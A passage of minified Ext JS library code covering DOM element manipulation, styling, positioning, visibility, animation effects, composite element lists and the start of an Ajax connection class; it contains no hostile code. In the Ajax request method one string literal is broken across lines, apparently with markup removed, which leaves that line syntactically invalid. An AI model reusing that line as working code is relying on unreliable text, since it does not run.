c(d)).parentNode.insertBefore(this.dom, d); return this }, insertAfter:function (d) { (d = c(d)).parentNode.insertBefore(this.dom, d.nextSibling); return this }, insertFirst:function (e, d) { e = e || {}; if (e.nodeType || e.dom || typeof e == "string") { e = c(e); this.dom.insertBefore(e, this.dom.firstChild); return !d ? a(e) : e } else { return this.createChild(e, this.dom.firstChild, d) } }, replace:function (d) { d = a(d); this.insertBefore(d); d.remove(); return this }, replaceWith:function (d) { var e = this; if (d.nodeType || d.dom || typeof d == "string") { d = c(d); e.dom.parentNode.insertBefore(d, e.dom) } else { d = b.insertBefore(e.dom, d) } delete Ext.elCache[e.id]; Ext.removeNode(e.dom); e.id = Ext.id(e.dom = d); Ext.Element.addToCache(e.isFlyweight ? new Ext.Element(e.dom) : e); return e }, createChild:function (e, d, g) { e = e || {tag:"div"}; return d ? b.insertBefore(d, e, g !== true) : b[!this.dom.firstChild ? "overwrite" : "append"](this.dom, e, g !== true) }, wrap:function (d, e) { var g = b.insertBefore(this.dom, d || {tag:"div"}, !e); g.dom ? g.dom.appendChild(this.dom) : g.appendChild(this.dom); return g }, insertHtml:function (e, g, d) { var h = b.insertHtml(e, this.dom, g); return d ? Ext.get(h) : h }} }()); Ext.Element.addMethods(function () { var A = Ext.supports, h = {}, x = /(-[a-z])/gi, s = document.defaultView, D = /alpha\(opacity=(.*)\)/i, l = /^\s+|\s+$/g, B = Ext.Element, u = /\s+/, b = /\w/g, d = "padding", c = "margin", y = "border", t = "-left", q = "-right", w = "-top", o = "-bottom", j = "-width", r = Math, z = "hidden", e = "isClipped", k = "overflow", n = "overflow-x", m = "overflow-y", C = "originalClip", i = {l:y + t + j, r:y + q + j, t:y + w + j, b:y + o + j}, g = {l:d + t, r:d + q, t:d + w, b:d + o}, a = {l:c + t, r:c + q, t:c + w, b:c + o}, E = Ext.Element.data; function p(F, G) { return G.charAt(1).toUpperCase() } function v(F) { return h[F] || (h[F] = F == "float" ? (A.cssFloat ? "cssFloat" : "styleFloat") : F.replace(x, p)) } return{adjustWidth:function (F) { var G = this; var H = (typeof F == "number"); if (H && G.autoBoxAdjust && !G.isBorderBox()) { F -= (G.getBorderWidth("lr") + G.getPadding("lr")) } return(H && F < 0) ? 0 : F }, adjustHeight:function (F) { var G = this; var H = (typeof F == "number"); if (H && G.autoBoxAdjust && !G.isBorderBox()) { F -= (G.getBorderWidth("tb") + G.getPadding("tb")) } return(H && F < 0) ? 0 : F }, addClass:function (J) { var K = this, I, F, H, G = []; if (!Ext.isArray(J)) { if (typeof J == "string" && !this.hasClass(J)) { K.dom.className += " " + J } } else { for (I = 0, F = J.length; I < F; I++) { H = J[I]; if (typeof H == "string" && (" " + K.dom.className + " ").indexOf(" " + H + " ") == -1) { G.push(H) } } if (G.length) { K.dom.className += " " + G.join(" ") } } return K }, removeClass:function (K) { var L = this, J, G, F, I, H; if (!Ext.isArray(K)) { K = [K] } if (L.dom && L.dom.className) { H = L.dom.className.replace(l, "").split(u); for (J = 0, F = K.length; J < F; J++) { I = K[J]; if (typeof I == "string") { I = I.replace(l, ""); G = H.indexOf(I); if (G != -1) { H.splice(G, 1) } } } L.dom.className = H.join(" ") } return L }, radioClass:function (I) { var J = this.dom.parentNode.childNodes, G, H, F; I = Ext.isArray(I) ? I : [I]; for (H = 0, F = J.length; H < F; H++) { G = J[H]; if (G && G.nodeType == 1) { Ext.fly(G, "_internal").removeClass(I) } } return this.addClass(I) }, toggleClass:function (F) { return this.hasClass(F) ? this.removeClass(F) : this.addClass(F) }, hasClass:function (F) { return F && (" " + this.dom.className + " ").indexOf(" " + F + " ") != -1 }, replaceClass:function (G, F) { return this.removeClass(G).addClass(F) }, isStyle:function (F, G) { return this.getStyle(F) == G }, getStyle:function () { return s && s.getComputedStyle ? function (K) { var I = this.dom, F, H, G, J; if (I == document) { return null } K = v(K); G = (F = I.style[K]) ? F : (H = s.getComputedStyle(I, "")) ? H[K] : null; if (K == "marginRight" && G != "0px" && !A.correctRightMargin) { J = I.style.display; I.style.display = "inline-block"; G = s.getComputedStyle(I, "").marginRight; I.style.display = J } if (K == "backgroundColor" && G == "rgba(0, 0, 0, 0)" && !A.correctTransparentColor) { G = "transparent" } return G } : function (J) { var H = this.dom, F, G; if (H == document) { return null } if (J == "opacity") { if (H.style.filter.match) { if (F = H.style.filter.match(D)) { var I = parseFloat(F[1]); if (!isNaN(I)) { return I ? I / 100 : 0 } } } return 1 } J = v(J); return H.style[J] || ((G = H.currentStyle) ? G[J] : null) } }(), getColor:function (F, G, K) { var I = this.getStyle(F), H = (typeof K != "undefined") ? K : "#", J; if (!I || (/transparent|inherit/.test(I))) { return G } if (/^r/.test(I)) { Ext.each(I.slice(4, I.length - 1).split(","), function (L) { J = parseInt(L, 10); H += (J < 16 ? "0" : "") + J.toString(16) }) } else { I = I.replace("#", ""); H += I.length == 3 ? I.replace(/^(\w)(\w)(\w)$/, "$1$1$2$2$3$3") : I } return(H.length > 5 ? H.toLowerCase() : G) }, setStyle:function (I, H) { var F, G; if (typeof I != "object") { F = {}; F[I] = H; I = F } for (G in I) { H = I[G]; G == "opacity" ? this.setOpacity(H) : this.dom.style[v(G)] = H } return this }, setOpacity:function (G, F) { var J = this, H = J.dom.style; if (!F || !J.anim) { if (Ext.isIE) { var I = G < 1 ? "alpha(opacity=" + G * 100 + ")" : "", K = H.filter.replace(D, "").replace(l, ""); H.zoom = 1; H.filter = K + (K.length > 0 ? " " : "") + I } else { H.opacity = G } } else { J.anim({opacity:{to:G}}, J.preanim(arguments, 1), null, 0.35, "easeIn") } return J }, clearOpacity:function () { var F = this.dom.style; if (Ext.isIE) { if (!Ext.isEmpty(F.filter)) { F.filter = F.filter.replace(D, "").replace(l, "") } } else { F.opacity = F["-moz-opacity"] = F["-khtml-opacity"] = "" } return this }, getHeight:function (H) { var G = this, J = G.dom, I = Ext.isIE && G.isStyle("display", "none"), F = r.max(J.offsetHeight, I ? 0 : J.clientHeight) || 0; F = !H ? F : F - G.getBorderWidth("tb") - G.getPadding("tb"); return F < 0 ? 0 : F }, getWidth:function (G) { var H = this, J = H.dom, I = Ext.isIE && H.isStyle("display", "none"), F = r.max(J.offsetWidth, I ? 0 : J.clientWidth) || 0; F = !G ? F : F - H.getBorderWidth("lr") - H.getPadding("lr"); return F < 0 ? 0 : F }, setWidth:function (G, F) { var H = this; G = H.adjustWidth(G); !F || !H.anim ? H.dom.style.width = H.addUnits(G) : H.anim({width:{to:G}}, H.preanim(arguments, 1)); return H }, setHeight:function (F, G) { var H = this; F = H.adjustHeight(F); !G || !H.anim ? H.dom.style.height = H.addUnits(F) : H.anim({height:{to:F}}, H.preanim(arguments, 1)); return H }, getBorderWidth:function (F) { return this.addStyles(F, i) }, getPadding:function (F) { return this.addStyles(F, g) }, clip:function () { var F = this, G = F.dom; if (!E(G, e)) { E(G, e, true); E(G, C, {o:F.getStyle(k), x:F.getStyle(n), y:F.getStyle(m)}); F.setStyle(k, z); F.setStyle(n, z); F.setStyle(m, z) } return F }, unclip:function () { var F = this, H = F.dom; if (E(H, e)) { E(H, e, false); var G = E(H, C); if (G.o) { F.setStyle(k, G.o) } if (G.x) { F.setStyle(n, G.x) } if (G.y) { F.setStyle(m, G.y) } } return F }, addStyles:function (M, L) { var J = 0, K = M.match(b), I, H, G, F = K.length; for (G = 0; G < F; G++) { I = K[G]; H = I && parseInt(this.getStyle(L[I]), 10); if (H) { J += r.abs(H) } } return J }, margins:a} }()); (function () { var a = Ext.lib.Dom, b = "left", g = "right", d = "top", i = "bottom", h = "position", c = "static", e = "relative", j = "auto", k = "z-index"; Ext.Element.addMethods({getX:function () { return a.getX(this.dom) }, getY:function () { return a.getY(this.dom) }, getXY:function () { return a.getXY(this.dom) }, getOffsetsTo:function (l) { var n = this.getXY(), m = Ext.fly(l, "_internal").getXY(); return[n[0] - m[0], n[1] - m[1]] }, setX:function (l, m) { return this.setXY([l, this.getY()], this.animTest(arguments, m, 1)) }, setY:function (m, l) { return this.setXY([this.getX(), m], this.animTest(arguments, l, 1)) }, setLeft:function (l) { this.setStyle(b, this.addUnits(l)); return this }, setTop:function (l) { this.setStyle(d, this.addUnits(l)); return this }, setRight:function (l) { this.setStyle(g, this.addUnits(l)); return this }, setBottom:function (l) { this.setStyle(i, this.addUnits(l)); return this }, setXY:function (n, l) { var m = this; if (!l || !m.anim) { a.setXY(m.dom, n) } else { m.anim({points:{to:n}}, m.preanim(arguments, 1), "motion") } return m }, setLocation:function (l, n, m) { return this.setXY([l, n], this.animTest(arguments, m, 2)) }, moveTo:function (l, n, m) { return this.setXY([l, n], this.animTest(arguments, m, 2)) }, getLeft:function (l) { return !l ? this.getX() : parseInt(this.getStyle(b), 10) || 0 }, getRight:function (l) { var m = this; return !l ? m.getX() + m.getWidth() : (m.getLeft(true) + m.getWidth()) || 0 }, getTop:function (l) { return !l ? this.getY() : parseInt(this.getStyle(d), 10) || 0 }, getBottom:function (l) { var m = this; return !l ? m.getY() + m.getHeight() : (m.getTop(true) + m.getHeight()) || 0 }, position:function (p, o, l, n) { var m = this; if (!p && m.isStyle(h, c)) { m.setStyle(h, e) } else { if (p) { m.setStyle(h, p) } } if (o) { m.setStyle(k, o) } if (l || n) { m.setXY([l || false, n || false]) } }, clearPositioning:function (l) { l = l || ""; this.setStyle({left:l, right:l, top:l, bottom:l, "z-index":"", position:c}); return this }, getPositioning:function () { var m = this.getStyle(b); var n = this.getStyle(d); return{position:this.getStyle(h), left:m, right:m ? "" : this.getStyle(g), top:n, bottom:n ? "" : this.getStyle(i), "z-index":this.getStyle(k)} }, setPositioning:function (l) { var n = this, m = n.dom.style; n.setStyle(l); if (l.right == j) { m.right = "" } if (l.bottom == j) { m.bottom = "" } return n }, translatePoints:function (m, u) { u = isNaN(m[1]) ? u : m[1]; m = isNaN(m[0]) ? m : m[0]; var q = this, r = q.isStyle(h, e), s = q.getXY(), n = parseInt(q.getStyle(b), 10), p = parseInt(q.getStyle(d), 10); n = !isNaN(n) ? n : (r ? 0 : q.dom.offsetLeft); p = !isNaN(p) ? p : (r ? 0 : q.dom.offsetTop); return{left:(m - s[0] + n), top:(u - s[1] + p)} }, animTest:function (m, l, n) { return !!l && this.preanim ? this.preanim(m, n) : false }}) })(); Ext.Element.addMethods({isScrollable:function () { var a = this.dom; return a.scrollHeight > a.clientHeight || a.scrollWidth > a.clientWidth }, scrollTo:function (a, b) { this.dom["scroll" + (/top/i.test(a) ? "Top" : "Left")] = b; return this }, getScroll:function () { var i = this.dom, h = document, a = h.body, c = h.documentElement, b, g, e; if (i == h || i == a) { if (Ext.isIE && Ext.isStrict) { b = c.scrollLeft; g = c.scrollTop } else { b = window.pageXOffset; g = window.pageYOffset } e = {left:b || (a ? a.scrollLeft : 0), top:g || (a ? a.scrollTop : 0)} } else { e = {left:i.scrollLeft, top:i.scrollTop} } return e }}); Ext.Element.VISIBILITY = 1; Ext.Element.DISPLAY = 2; Ext.Element.OFFSETS = 3; Ext.Element.ASCLASS = 4; Ext.Element.visibilityCls = "x-hide-nosize"; Ext.Element.addMethods(function () { var e = Ext.Element, p = "opacity", j = "visibility", g = "display", d = "hidden", n = "offsets", k = "asclass", m = "none", a = "nosize", b = "originalDisplay", c = "visibilityMode", h = "isVisible", i = e.data, l = function (r) { var q = i(r, b); if (q === undefined) { i(r, b, q = "") } return q }, o = function (r) { var q = i(r, c); if (q === undefined) { i(r, c, q = 1) } return q }; return{originalDisplay:"", visibilityMode:1, setVisibilityMode:function (q) { i(this.dom, c, q); return this }, animate:function (r, t, s, u, q) { this.anim(r, {duration:t, callback:s, easing:u}, q); return this }, anim:function (t, u, r, w, s, q) { r = r || "run"; u = u || {}; var v = this, x = Ext.lib.Anim[r](v.dom, t, (u.duration || w) || 0.35, (u.easing || s) || "easeOut", function () { if (q) { q.call(v) } if (u.callback) { u.callback.call(u.scope || v, v, u) } }, v); u.anim = x; return x }, preanim:function (q, r) { return !q[r] ? false : (typeof q[r] == "object" ? q[r] : {duration:q[r + 1], callback:q[r + 2], easing:q[r + 3]}) }, isVisible:function () { var q = this, s = q.dom, r = i(s, h); if (typeof r == "boolean") { return r } r = !q.isStyle(j, d) && !q.isStyle(g, m) && !((o(s) == e.ASCLASS) && q.hasClass(q.visibilityCls || e.visibilityCls)); i(s, h, r); return r }, setVisible:function (t, q) { var w = this, r, y, x, v, u = w.dom, s = o(u); if (typeof q == "string") { switch (q) { case g: s = e.DISPLAY; break; case j: s = e.VISIBILITY; break; case n: s = e.OFFSETS; break; case a: case k: s = e.ASCLASS; break } w.setVisibilityMode(s); q = false } if (!q || !w.anim) { if (s == e.ASCLASS) { w[t ? "removeClass" : "addClass"](w.visibilityCls || e.visibilityCls) } else { if (s == e.DISPLAY) { return w.setDisplayed(t) } else { if (s == e.OFFSETS) { if (!t) { w.hideModeStyles = {position:w.getStyle("position"), top:w.getStyle("top"), left:w.getStyle("left")}; w.applyStyles({position:"absolute", top:"-10000px", left:"-10000px"}) } else { w.applyStyles(w.hideModeStyles || {position:"", top:"", left:""}); delete w.hideModeStyles } } else { w.fixDisplay(); u.style.visibility = t ? "visible" : d } } } } else { if (t) { w.setOpacity(0.01); w.setVisible(true) } w.anim({opacity:{to:(t ? 1 : 0)}}, w.preanim(arguments, 1), null, 0.35, "easeIn", function () { t || w.setVisible(false).setOpacity(1) }) } i(u, h, t); return w }, hasMetrics:function () { var q = this.dom; return this.isVisible() || (o(q) == e.VISIBILITY) }, toggle:function (q) { var r = this; r.setVisible(!r.isVisible(), r.preanim(arguments, 0)); return r }, setDisplayed:function (q) { if (typeof q == "boolean") { q = q ? l(this.dom) : m } this.setStyle(g, q); return this }, fixDisplay:function () { var q = this; if (q.isStyle(g, m)) { q.setStyle(j, d); q.setStyle(g, l(this.dom)); if (q.isStyle(g, m)) { q.setStyle(g, "block") } } }, hide:function (q) { if (typeof q == "string") { this.setVisible(false, q); return this } this.setVisible(false, this.preanim(arguments, 0)); return this }, show:function (q) { if (typeof q == "string") { this.setVisible(true, q); return this } this.setVisible(true, this.preanim(arguments, 0)); return this }} }()); (function () { var y = null, A = undefined, k = true, t = false, j = "setX", h = "setY", a = "setXY", n = "left", l = "bottom", s = "top", m = "right", q = "height", g = "width", i = "points", w = "hidden", z = "absolute", u = "visible", e = "motion", o = "position", r = "easeOut", d = new Ext.Element.Flyweight(), v = {}, x = function (B) { return B || {} }, p = function (B) { d.dom = B; d.id = Ext.id(B); return d }, c = function (B) { if (!v[B]) { v[B] = [] } return v[B] }, b = function (C, B) { v[C] = B }; Ext.enableFx = k; Ext.Fx = {switchStatements:function (C, D, B) { return D.apply(this, B[C]) }, slideIn:function (H, E) { E = x(E); var J = this, G = J.dom, M = G.style, O, B, L, D, C, M, I, N, K, F; H = H || "t"; J.queueFx(E, function () { O = p(G).getXY(); p(G).fixDisplay(); B = p(G).getFxRestore(); L = {x:O[0], y:O[1], 0:O[0], 1:O[1], width:G.offsetWidth, height:G.offsetHeight}; L.right = L.x + L.width; L.bottom = L.y + L.height; p(G).setWidth(L.width).setHeight(L.height); D = p(G).fxWrap(B.pos, E, w); M.visibility = u; M.position = z; function P() { p(G).fxUnwrap(D, B.pos, E); M.width = B.width; M.height = B.height; p(G).afterFx(E) } N = {to:[L.x, L.y]}; K = {to:L.width}; F = {to:L.height}; function Q(U, R, V, S, X, Z, ac, ab, aa, W, T) { var Y = {}; p(U).setWidth(V).setHeight(S); if (p(U)[X]) { p(U)[X](Z) } R[ac] = R[ab] = "0"; if (aa) { Y.width = aa } if (W) { Y.height = W } if (T) { Y.points = T } return Y } I = p(G).switchStatements(H.toLowerCase(), Q, {t:[D, M, L.width, 0, y, y, n, l, y, F, y], l:[D, M, 0, L.height, y, y, m, s, K, y, y], r:[D, M, L.width, L.height, j, L.right, n, s, y, y, N], b:[D, M, L.width, L.height, h, L.bottom, n, s, y, F, N], tl:[D, M, 0, 0, y, y, m, l, K, F, N], bl:[D, M, 0, 0, h, L.y + L.height, m, s, K, F, N], br:[D, M, 0, 0, a, [L.right, L.bottom], n, s, K, F, N], tr:[D, M, 0, 0, j, L.x + L.width, n, l, K, F, N]}); M.visibility = u; p(D).show(); arguments.callee.anim = p(D).fxanim(I, E, e, 0.5, r, P) }); return J }, slideOut:function (F, D) { D = x(D); var H = this, E = H.dom, K = E.style, L = H.getXY(), C, B, I, J, G = {to:0}; F = F || "t"; H.queueFx(D, function () { B = p(E).getFxRestore(); I = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:E.offsetWidth, height:E.offsetHeight}; I.right = I.x + I.width; I.bottom = I.y + I.height; p(E).setWidth(I.width).setHeight(I.height); C = p(E).fxWrap(B.pos, D, u); K.visibility = u; K.position = z; p(C).setWidth(I.width).setHeight(I.height); function M() { D.useDisplay ? p(E).setDisplayed(t) : p(E).hide(); p(E).fxUnwrap(C, B.pos, D); K.width = B.width; K.height = B.height; p(E).afterFx(D) } function N(O, W, U, X, S, V, R, T, Q) { var P = {}; O[W] = O[U] = "0"; P[X] = S; if (V) { P[V] = R } if (T) { P[T] = Q } return P } J = p(E).switchStatements(F.toLowerCase(), N, {t:[K, n, l, q, G], l:[K, m, s, g, G], r:[K, n, s, g, G, i, {to:[I.right, I.y]}], b:[K, n, s, q, G, i, {to:[I.x, I.bottom]}], tl:[K, m, l, g, G, q, G], bl:[K, m, s, g, G, q, G, i, {to:[I.x, I.bottom]}], br:[K, n, s, g, G, q, G, i, {to:[I.x + I.width, I.bottom]}], tr:[K, n, l, g, G, q, G, i, {to:[I.right, I.y]}]}); arguments.callee.anim = p(C).fxanim(J, D, e, 0.5, r, M) }); return H }, puff:function (H) { H = x(H); var F = this, G = F.dom, C = G.style, D, B, E; F.queueFx(H, function () { D = p(G).getWidth(); B = p(G).getHeight(); p(G).clearOpacity(); p(G).show(); E = p(G).getFxRestore(); function I() { H.useDisplay ? p(G).setDisplayed(t) : p(G).hide(); p(G).clearOpacity(); p(G).setPositioning(E.pos); C.width = E.width; C.height = E.height; C.fontSize = ""; p(G).afterFx(H) } arguments.callee.anim = p(G).fxanim({width:{to:p(G).adjustWidth(D * 2)}, height:{to:p(G).adjustHeight(B * 2)}, points:{by:[-D * 0.5, -B * 0.5]}, opacity:{to:0}, fontSize:{to:200, unit:"%"}}, H, e, 0.5, r, I) }); return F }, switchOff:function (F) { F = x(F); var D = this, E = D.dom, B = E.style, C; D.queueFx(F, function () { p(E).clearOpacity(); p(E).clip(); C = p(E).getFxRestore(); function G() { F.useDisplay ? p(E).setDisplayed(t) : p(E).hide(); p(E).clearOpacity(); p(E).setPositioning(C.pos); B.width = C.width; B.height = C.height; p(E).afterFx(F) } p(E).fxanim({opacity:{to:0.3}}, y, y, 0.1, y, function () { p(E).clearOpacity(); (function () { p(E).fxanim({height:{to:1}, points:{by:[0, p(E).getHeight() * 0.5]}}, F, e, 0.3, "easeIn", G) }).defer(100) }) }); return D }, highlight:function (D, H) { H = x(H); var F = this, G = F.dom, B = H.attr || "backgroundColor", C = {}, E; F.queueFx(H, function () { p(G).clearOpacity(); p(G).show(); function I() { G.style[B] = E; p(G).afterFx(H) } E = G.style[B]; C[B] = {from:D || "ffff9c", to:H.endColor || p(G).getColor(B) || "ffffff"}; arguments.callee.anim = p(G).fxanim(C, H, "color", 1, "easeIn", I) }); return F }, frame:function (B, E, H) { H = x(H); var D = this, G = D.dom, C, F; D.queueFx(H, function () { B = B || "#C3DAF9"; if (B.length == 6) { B = "#" + B } E = E || 1; p(G).show(); var L = p(G).getXY(), J = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:G.offsetWidth, height:G.offsetHeight}, I = function () { C = p(document.body || document.documentElement).createChild({style:{position:z, "z-index":35000, border:"0px solid " + B}}); return C.queueFx({}, K) }; arguments.callee.anim = {isAnimated:true, stop:function () { E = 0; C.stopFx() }}; function K() { var M = Ext.isBorderBox ? 2 : 1; F = C.anim({top:{from:J.y, to:J.y - 20}, left:{from:J.x, to:J.x - 20}, borderWidth:{from:0, to:10}, opacity:{from:1, to:0}, height:{from:J.height, to:J.height + 20 * M}, width:{from:J.width, to:J.width + 20 * M}}, {duration:H.duration || 1, callback:function () { C.remove(); --E > 0 ? I() : p(G).afterFx(H) }}); arguments.callee.anim = {isAnimated:true, stop:function () { F.stop() }} } I() }); return D }, pause:function (D) { var C = this.dom, B; this.queueFx({}, function () { B = setTimeout(function () { p(C).afterFx({}) }, D * 1000); arguments.callee.anim = {isAnimated:true, stop:function () { clearTimeout(B); p(C).afterFx({}) }} }); return this }, fadeIn:function (D) { D = x(D); var B = this, C = B.dom, E = D.endOpacity || 1; B.queueFx(D, function () { p(C).setOpacity(0); p(C).fixDisplay(); C.style.visibility = u; arguments.callee.anim = p(C).fxanim({opacity:{to:E}}, D, y, 0.5, r, function () { if (E == 1) { p(C).clearOpacity() } p(C).afterFx(D) }) }); return B }, fadeOut:function (E) { E = x(E); var C = this, D = C.dom, B = D.style, F = E.endOpacity || 0; C.queueFx(E, function () { arguments.callee.anim = p(D).fxanim({opacity:{to:F}}, E, y, 0.5, r, function () { if (F == 0) { Ext.Element.data(D, "visibilityMode") == Ext.Element.DISPLAY || E.useDisplay ? B.display = "none" : B.visibility = w; p(D).clearOpacity() } p(D).afterFx(E) }) }); return C }, scale:function (B, C, D) { this.shift(Ext.apply({}, D, {width:B, height:C})); return this }, shift:function (D) { D = x(D); var C = this.dom, B = {}; this.queueFx(D, function () { for (var E in D) { if (D[E] != A) { B[E] = {to:D[E]} } } B.width ? B.width.to = p(C).adjustWidth(D.width) : B; B.height ? B.height.to = p(C).adjustWidth(D.height) : B; if (B.x || B.y || B.xy) { B.points = B.xy || {to:[B.x ? B.x.to : p(C).getX(), B.y ? B.y.to : p(C).getY()]} } arguments.callee.anim = p(C).fxanim(B, D, e, 0.35, r, function () { p(C).afterFx(D) }) }); return this }, ghost:function (E, C) { C = x(C); var G = this, D = G.dom, J = D.style, H = {opacity:{to:0}, points:{}}, K = H.points, B, I, F; E = E || "b"; G.queueFx(C, function () { B = p(D).getFxRestore(); I = p(D).getWidth(); F = p(D).getHeight(); function L() { C.useDisplay ? p(D).setDisplayed(t) : p(D).hide(); p(D).clearOpacity(); p(D).setPositioning(B.pos); J.width = B.width; J.height = B.height; p(D).afterFx(C) } K.by = p(D).switchStatements(E.toLowerCase(), function (N, M) { return[N, M] }, {t:[0, -F], l:[-I, 0], r:[I, 0], b:[0, F], tl:[-I, -F], bl:[-I, F], br:[I, F], tr:[I, -F]}); arguments.callee.anim = p(D).fxanim(H, C, e, 0.5, r, L) }); return G }, syncFx:function () { var B = this; B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:k, stopFx:t}); return B }, sequenceFx:function () { var B = this; B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:t, stopFx:t}); return B }, nextFx:function () { var B = c(this.dom.id)[0]; if (B) { B.call(this) } }, hasActiveFx:function () { return c(this.dom.id)[0] }, stopFx:function (B) { var C = this, E = C.dom.id; if (C.hasActiveFx()) { var D = c(E)[0]; if (D && D.anim) { if (D.anim.isAnimated) { b(E, [D]); D.anim.stop(B !== undefined ? B : k) } else { b(E, []) } } } return C }, beforeFx:function (B) { if (this.hasActiveFx() && !B.concurrent) { if (B.stopFx) { this.stopFx(); return k } return t } return k }, hasFxBlock:function () { var B = c(this.dom.id); return B && B[0] && B[0].block }, queueFx:function (E, B) { var C = p(this.dom); if (!C.hasFxBlock()) { Ext.applyIf(E, C.fxDefaults); if (!E.concurrent) { var D = C.beforeFx(E); B.block = E.block; c(C.dom.id).push(B); if (D) { C.nextFx() } } else { B.call(C) } } return C }, fxWrap:function (H, F, D) { var E = this.dom, C, B; if (!F.wrap || !(C = Ext.getDom(F.wrap))) { if (F.fixPosition) { B = p(E).getXY() } var G = document.createElement("div"); G.style.visibility = D; C = E.parentNode.insertBefore(G, E); p(C).setPositioning(H); if (p(C).isStyle(o, "static")) { p(C).position("relative") } p(E).clearPositioning("auto"); p(C).clip(); C.appendChild(E); if (B) { p(C).setXY(B) } } return C }, fxUnwrap:function (C, F, E) { var D = this.dom; p(D).clearPositioning(); p(D).setPositioning(F); if (!E.wrap) { var B = p(C).dom.parentNode; B.insertBefore(D, C); p(C).remove() } }, getFxRestore:function () { var B = this.dom.style; return{pos:this.getPositioning(), width:B.width, height:B.height} }, afterFx:function (C) { var B = this.dom, D = B.id; if (C.afterStyle) { p(B).setStyle(C.afterStyle) } if (C.afterCls) { p(B).addClass(C.afterCls) } if (C.remove == k) { p(B).remove() } if (C.callback) { C.callback.call(C.scope, p(B)) } if (!C.concurrent) { c(D).shift(); p(B).nextFx() } }, fxanim:function (E, F, C, G, D, B) { C = C || "run"; F = F || {}; var H = Ext.lib.Anim[C](this.dom, E, (F.duration || G) || 0.35, (F.easing || D) || r, B, this); F.anim = H; return H }}; Ext.Fx.resize = Ext.Fx.scale; Ext.Element.addMethods(Ext.Fx) })(); Ext.CompositeElementLite = function (b, a) { this.elements = []; this.add(b, a); this.el = new Ext.Element.Flyweight() }; Ext.CompositeElementLite.prototype = {isComposite:true, getElement:function (a) { var b = this.el; b.dom = a; b.id = a.id; return b }, transformElement:function (a) { return Ext.getDom(a) }, getCount:function () { return this.elements.length }, add:function (d, b) { var e = this, g = e.elements; if (!d) { return this } if (typeof d == "string") { d = Ext.Element.selectorFunction(d, b) } else { if (d.isComposite) { d = d.elements } else { if (!Ext.isIterable(d)) { d = [d] } } } for (var c = 0, a = d.length; c < a; ++c) { g.push(e.transformElement(d[c])) } return e }, invoke:function (g, b) { var h = this, d = h.elements, a = d.length, j, c; for (c = 0; c < a; c++) { j = d[c]; if (j) { Ext.Element.prototype[g].apply(h.getElement(j), b) } } return h }, item:function (b) { var d = this, c = d.elements[b], a = null; if (c) { a = d.getElement(c) } return a }, addListener:function (b, j, h, g) { var d = this.elements, a = d.length, c, k; for (c = 0; c < a; c++) { k = d[c]; if (k) { Ext.EventManager.on(k, b, j, h || k, g) } } return this }, each:function (g, d) { var h = this, c = h.elements, a = c.length, b, j; for (b = 0; b < a; b++) { j = c[b]; if (j) { j = this.getElement(j); if (g.call(d || j, j, h, b) === false) { break } } } return h }, fill:function (a) { var b = this; b.elements = []; b.add(a); return b }, filter:function (a) { var b = [], d = this, c = Ext.isFunction(a) ? a : function (e) { return e.is(a) }; d.each(function (h, e, g) { if (c(h, g) !== false) { b[b.length] = d.transformElement(h) } }); d.elements = b; return d }, indexOf:function (a) { return this.elements.indexOf(this.transformElement(a)) }, replaceElement:function (e, c, a) { var b = !isNaN(e) ? e : this.indexOf(e), g; if (b > -1) { c = Ext.getDom(c); if (a) { g = this.elements[b]; g.parentNode.insertBefore(c, g); Ext.removeNode(g) } this.elements.splice(b, 1, c) } return this }, clear:function () { this.elements = [] }}; Ext.CompositeElementLite.prototype.on = Ext.CompositeElementLite.prototype.addListener; Ext.CompositeElementLite.importElementMethods = function () { var c, b = Ext.Element.prototype, a = Ext.CompositeElementLite.prototype; for (c in b) { if (typeof b[c] == "function") { (function (d) { a[d] = a[d] || function () { return this.invoke(d, arguments) } }).call(a, c) } } }; Ext.CompositeElementLite.importElementMethods(); if (Ext.DomQuery) { Ext.Element.selectorFunction = Ext.DomQuery.select } Ext.Element.select = function (a, b) { var c; if (typeof a == "string") { c = Ext.Element.selectorFunction(a, b) } else { if (a.length !== undefined) { c = a } else { throw"Invalid selector" } } return new Ext.CompositeElementLite(c) }; Ext.select = Ext.Element.select; (function () { var b = "beforerequest", e = "requestcomplete", d = "requestexception", h = undefined, c = "load", i = "POST", a = "GET", g = window; Ext.data.Connection = function (j) { Ext.apply(this, j); this.addEvents(b, e, d); Ext.data.Connection.superclass.constructor.call(this) }; Ext.extend(Ext.data.Connection, Ext.util.Observable, {timeout:30000, autoAbort:false, disableCaching:true, disableCachingParam:"_dc", request:function (n) { var s = this; if (s.fireEvent(b, s, n)) { if (n.el) { if (!Ext.isEmpty(n.indicatorText)) { s.indicatorText = '
' + n.indicatorText + "
" } if (s.indicatorText) { Ext.getDom(n.el).innerHTML = s.indicatorText } n.success = (Ext.isFunction(n.success) ? n.success : function () { }).createInterceptor(function (o) { Ext.getDom(n.el).innerHTML = o.responseText }) } var l = n.params, k = n.url || s.url, j, q = {success:s.handleResponse, failure:s.handleFailure, scope:s, argument:{options:n}, timeout:Ext.num(n.timeout, s.timeout)}, m, t; if (Ext.isFunction(l)) { l = l.call(n.scope || g, n) } l = Ext.urlEncode(s.extraParams, Ext.isObject(l) ? Ext.urlEncode(l) : l); if (Ext.isFunction(k)) { k = k.call(n.scope || g, n) } if ((m = Ext.getDom(n.form))) { k = k || m.action; if (n.isUpload || (/multipart\/form-data/i.test(m.getAttribute("enctype")))) { return s.doFormUpload.call(s, n, l, k) } t = Ext.lib.Ajax.serializeForm(m); l = l ? (l + "&" + t) : t } j = n.method || s.method || ((l || n.xmlData || n.jsonData) ? i : a); if (j === a && (s.disableCaching && n.disableCaching !== false) || n.disableCaching === true) { var r = n.disableCachingParam || s.disableCachingParam; k = Ext.urlAppend(k, r + "=" + (new Date().getTime())) } n.headers = Ext.applyIf(n.headers || {}, s.defaultHeaders || {}); if (n.autoAbort === true || s.autoAbort) { s.abort() } if ((j == a || n.xmlData || n.jsonData) && l) { k = Ext.urlAppend(k, l); l = "" } return(s.transId = Ext.lib.Ajax.request(j, k, q, l, n)) } else { return n.callback ? n.callback.apply(n.scope, [n, h, h]) : null } }, isLoading:function (j) { return j ? Ext.lib.Ajax.isCallInProgress(j) : !!this.transId }, abort:function (j) { if (j || this.isLoading()) { Ext.lib.Ajax.abort(j || this.transId) } }, handleResponse:function (j) { this.transId = false; var k = j.argument.options; j.argument = k ? k.argument : null; this.fireEvent(e, this, j, k); if (k.success) { 